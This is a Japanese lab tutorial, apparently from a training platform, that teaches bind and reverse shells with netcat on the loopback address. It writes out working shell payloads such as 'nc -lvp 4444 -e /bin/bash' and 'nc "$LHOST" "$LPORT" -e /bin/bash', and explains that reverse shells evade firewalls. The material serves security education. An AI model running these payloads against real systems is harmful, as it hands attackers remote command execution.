はじめに
Bind Shell と Reverse Shell ペイロードの実験へようこそ。サイバーセキュリティの分野において、システムへのリモートアクセス権を獲得することは基本的な概念です。このアクセスは通常、リモートシステムへのコマンドラインインターフェースを提供する「シェル」を使用して実現されます。
この接続を確立する方法には、Bind Shell と Reverse Shell の 2 つが主に存在します。両者の違いを理解することは、攻撃的セキュリティ(ペネトレーションテスト)と防御的セキュリティ(ファイアウォールの設定やインシデント対応)の両方において極めて重要です。この実験では、ネットワークの「十徳ナイフ」とも呼ばれる netcat を使用して、両方のタイプのペイロードをシミュレートし、環境内で直接操作します。
最も重要な違いは、どちら側が接続を開始するかという点です。この設計上の選択一つで、どちら側が到達可能であるべきか、またどのようなネットワーク制御が干渉する可能性が高いかが決まります。
ペイロードのタイプを理解する
このステップでは、Bind Shell と Reverse Shell の理論的な違いを探り、作業環境を準備します。
Bind Shell は、ターゲットマシンが通信ポートを開き、攻撃者からの接続を待機する状態を指します。サーバーがクライアントを待っているような状態です。ターゲットは特定のポートにシェル(/bin/bash など)を「バインド(紐付け)」します。その後、攻撃者がそのポートに能動的に接続して制御権を獲得します。この方法は、ファイアウォールが予期しないポートへの着信接続をブロックすることが多いため、現実のシナリオでは失敗することがよくあります。
これは概念的には単純ですが、攻撃者がターゲットの新しいリスニングポートに直接到達できることを前提としているため、運用上は脆弱です。
Reverse Shell はその逆です。攻撃者が自分のマシンで通信ポートを開いて待機し、ターゲットマシンが攻撃者のマシンへ能動的に「接続し返す」ように強制します。ファイアウォールは通常、Web 閲覧などの発信トラフィックを許可しているため、Reverse Shell の方がネットワーク制限を回避して成功する可能性がはるかに高くなります。
これが、現実世界のペイロード設計において Reverse Shell が主流である理由です。一般的な「発信許可」のネットワークポリシーとより適合するためです。
それでは、netcat ツールが準備できているか確認しましょう。nc を使用してシェルを作成します。以下のコマンドを実行して、netcat のヘルプメニューを表示してください。
nc -h
以下のような出力が表示されるはずです。ここには -e フラグが含まれています。-e フラグは、接続確立後にプログラム(bash シェルなど)を実行できるため、非常に重要です。
[v1.10-47]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
...
-e prog program to exec after connect [dangerous!!]
...
理解を深めるために、プロジェクトディレクトリに簡単なメモファイルを作成しましょう。echo コマンドを使用して、payload_notes.txt というファイルに概要を書き込みます。
echo "Bind Shell: Attacker connects to Target. Reverse Shell: Target connects to Attacker." > ~/project/payload_notes.txt
cat コマンドを使用して、作成したファイルの内容を確認できます。
cat ~/project/payload_notes.txt
Bind Shell ペイロードの設定
このステップでは、Bind Shell を設定し、接続を行います。ここでは、現在のマシン上で「ターゲット」と「攻撃者」の両方をシミュレートします。
まず、ターゲットをセットアップする必要があります。ターゲットは netcat を使用して特定のポートで待機し、そこに bash シェルをバインドします。ポート 4444 を使用します。コマンドの最後にアンパサンド & を追加してバックグラウンドで実行することで、同じターミナルを使い続けられるようにします。
以下のコマンドを実行して、Bind Shell リスナーを開始します。
nc -lvp 4444 -e /bin/bash &
このコマンドを分解してみましょう。-l フラグは着信接続を待機するリスニングモードに設定し、-v フラグは詳細な出力を提供する冗長モードを有効にします。-p 4444 引数は待機するローカルポートを 4444 に指定します。-e /bin/bash パラメータは、接続が確立されるとすぐに bash シェルを実行するため、非常に重要です。最後に、& 記号はプロセス全体をバックグラウンドで実行します。
netcat が待機中であることを示す出力が表示されるはずです。
listening on [any] 4444 ...
次に、攻撃者として振る舞います。ターゲットの開いているポートに接続します。ターゲットは自分のマシンであるため、ローカルループバックアドレス 127.0.0.1 に接続します。
以下のコマンドを実行して、Bind Shell に接続します。
nc 127.0.0.1 4444
接続メッセージが表示されます。これで、ポート 4444 にバインドされた bash シェルと対話している状態になります。ターミナルのプロンプトは変わらないかもしれませんが、入力したコマンドは netcat 接続を通じて実行されています。
簡単なコマンドを実行して、アクセスを確認してみましょう。
whoami
labex と出力されるはずです。次に exit と入力して、Bind Shell 接続を閉じ、通常のターミナルセッションに戻ります。
exit
Reverse Shell ペイロードの設定
このステップでは、Reverse Shell を設定します。これは現実のシナリオでより一般的かつ実用的な方法です。ここでは、攻撃者がリスナーをセットアップし、ターゲットが攻撃者に接続し返すペイロードを実行します。
接続の流れを理解しやすくするために、このステップでは 2 つのターミナルウィンドウまたはタブを使用してください。ターミナル 1 が攻撃者、ターミナル 2 がターゲットとして機能します。
まず、ターミナル 1 で、ポート 5555 で攻撃者リスナーを開始します。
nc -lvp 5555
このリスナーは実行したままにします。次に、ターミナル 2 でターゲットとして振る舞い、Reverse Shell ペイロードを実行します。
nc 127.0.0.1 5555 -e /bin/bash
2 つ目のコマンドを実行するとすぐに、ターミナル 1 にターゲットからの接続成功を示す出力が表示されます。
listening on [any] 5555 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 52348
これで Reverse Shell を正常にキャッチできました!ターゲットがあなたの待機ポートに接続してきました。先ほどと同様に、コマンドを実行できます。
現在のディレクトリの内容をリスト表示して、接続を確認します。
ls
先ほど作成した payload_notes.txt ファイルが表示されるはずです。完了したら、exit と入力して Reverse Shell 接続を閉じます。
exit
ローカルリスナーの設定 (LHOST/LPORT)
Metasploit のようなプロフェッショナルなペネトレーションテストフレームワークでは、LHOST と LPORT という用語を頻繁に目にします。LHOST (Local Host) は攻撃者のマシンの IP アドレスを指し、接続を待機しているマシンです。LPORT (Local Port) は、攻撃者のマシン上で着信接続を能動的に待機している特定のポートを指します。
このステップでは、Linux の環境変数を使用して、これらの値を再利用しやすくします。ここでも、攻撃者リスナーとターゲットペイロードを分離するために、2 つのターミナルウィンドウまたはタブを使用してください。
まず、ターミナル 1 で LHOST 変数を定義します。ローカルでテストしているため、ループバックアドレスを使用します。
export LHOST=127.0.0.1
次に、LPORT 変数を定義します。最後の演習としてポート 6666 を使用します。
export LPORT=6666
echo コマンドを使用して、これらの変数が正しく設定されていることを確認できます。
echo "Listening on IP: $LHOST and Port: $LPORT"
次に、ターミナル 1 でリスナーを開始します。
nc -lvp $LPORT
続いて ターミナル 2 に移動し、同様の変数を定義します。
export LHOST=127.0.0.1
export LPORT=6666
これらの変数を使用して、ターミナル 2 から Reverse Shell ペイロードを実行します。
nc "$LHOST" "$LPORT" -e /bin/bash
ターミナル 1 に戻ると、ポート 6666 で接続が確立されたことがわかります。
listening on [any] 6666 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 48112
これで、動的変数を使用した Reverse Shell 経由で接続されました。コマンドを実行して確認します。
pwd
最後に、シェルを終了して演習を完了します。
exit
まとめ
おめでとうございます!この実験では、Bind Shell と Reverse Shell の仕組みを正常に学習しました。Bind Shell は攻撃者がターゲットに接続する必要があるのに対し、Reverse Shell はターゲットが攻撃者に接続し返す必要があり、ファイアウォールに対して非常に有効であることを学びました。また、netcat を使用してこれらのペイロードを設定する練習を行い、LHOST および LPORT 環境変数を使用してローカルリスナーを動的にセットアップする方法を習得しました。これらの基礎概念は、ネットワークセキュリティとペイロード配信を理解するために不可欠です。



